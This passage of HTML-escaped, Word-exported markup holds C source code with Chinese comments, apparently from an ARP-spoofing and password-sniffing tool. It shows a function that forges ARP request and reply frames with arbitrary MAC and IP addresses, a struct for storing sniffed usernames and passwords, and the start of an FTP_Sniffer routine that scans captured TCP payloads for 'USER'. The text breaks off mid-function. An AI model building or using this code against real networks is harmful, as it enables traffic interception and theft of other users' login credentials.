class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;void&nbsp;Fill_ARPPACKET(char&nbsp;*ARPPacket,int&nbsp;packetsize,char&nbsp;*desmac,char&nbsp;*desIP,char&nbsp;*srcmac,char&nbsp;*srcip,int&nbsp;op)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/*&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*ARPPacket&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5c06\u8981\u586b\u5145\u7684\u6570\u636e\u5305\u6307\u9488&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;packetsize&nbsp;&nbsp;&nbsp;\u6570\u636e\u5305\u5927\u5c0f&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*desmac&nbsp;\u6307\u5411\u5b58\u6709\u76ee\u6807MAC\u7684\u7f13\u51b2\u533a\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*desIP&nbsp;&nbsp;\u6307\u5411\u5b58\u6709\u76ee\u6807IP\u7684\u7f13\u51b2\u533a\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*srcmac&nbsp;\u6307\u5411\u5b58\u6709\u6765\u6e90MAC\u7684\u7f13\u51b2\u533a\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*srcip&nbsp;&nbsp;\u6307\u5411\u5b58\u6709\u6765\u6e90IP\u7684\u7f13\u51b2\u533a\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;op&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ARP\u5305\u7c7b\u578b&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;DLCHEADER&nbsp;*DLCHeader=(DLCHEADER&nbsp;*)ARPPacket;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;ARPFRAME&nbsp;*ARPFrame=(ARPFRAME&nbsp;*)(ARPPacket+sizeof(DLCHEADER));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memset(ARPPacket,NULL,packetsize);&nbsp;&nbsp;\/\/\u6e05\u7a7a\u5305\u5185\u5bb9&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;\/\/\u586b\u5145\u4ee5\u592a\u7f51\u76ee\u7684\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(op==1)&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u8868\u793aARP\u8bf7\u6c42\u5305.&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(DLCHeader-&gt;DesMAC,0xff,6);&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u7528ffffffffffff\u586b\u5145\u4ee5\u592a\u7f51\u5934\u76ee\u7684MAC\u5730\u5740\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(ARPFrame-&gt;Targ_Prot_Addr,NULL,4);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(ARPFrame-&gt;Targ_HW_Addr,NULL,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;else&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(DLCHeader-&gt;DesMAC,desmac,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Targ_Prot_Addr,desIP,4);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Targ_HW_Addr,DLCHeader-&gt;DesMAC,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u586b\u5145\u4ee5\u592a\u7f51\u6e90\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(DLCHeader-&gt;SrcMAC,srcmac,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Send_HW_Addr,srcmac,6);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u586b\u5145ARP\u5305\u6e90IP&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Send_Prot_Addr,srcip,4);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;DLCHeader-&gt;EtherType=htons((unsigned&nbsp;short)0x0806);&nbsp;&nbsp;&nbsp;&nbsp;\/\/0x0806\u8868\u793aARP\u534f\u8bae\uff0c0x0800\u8868\u793aIP\u534f\u8bae&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;HW_Addr_Len=(unsigned&nbsp;char)6;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;Prot_Addr_Len=(unsigned&nbsp;char)4;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;HW_Type=htons((unsigned&nbsp;short)1);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;Opcode=htons((unsigned&nbsp;short)op);&nbsp;&nbsp;&nbsp;\/\/01\u8868\u793a\u8bf7\u6c42\uff0c02\u8868\u793a\u5e94\u7b54&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;Prot_Type=htons((unsigned&nbsp;short)0x0800);&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;typedef&nbsp;struct&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u5b58\u653e\u55c5\u63a2\u5230\u7684\u6570\u636e&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;srcip[16];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;desip[16];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;username[50];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;password[50];&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&nbsp;Sniffer_Result;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;void&nbsp;FTP_Sniffer(char&nbsp;*Packet,int&nbsp;packetsize)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;Sniffer_Result&nbsp;result=&nbsp;{0};&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;IP&nbsp;*IPHeader=(IP&nbsp;*)Packet;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;TCP&nbsp;*TCPHeader=(TCP&nbsp;*)(Packet+sizeof(IP));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;*data=(char&nbsp;*)(Packet+sizeof(IP)+sizeof(TCP));&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;Packet[packetsize-2]=NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;*p=NULL;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;if(strlen(data)&gt;4&nbsp;&amp;&amp;&nbsp;(p=strstr(data,&#8221;USER&#8221;)))&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span 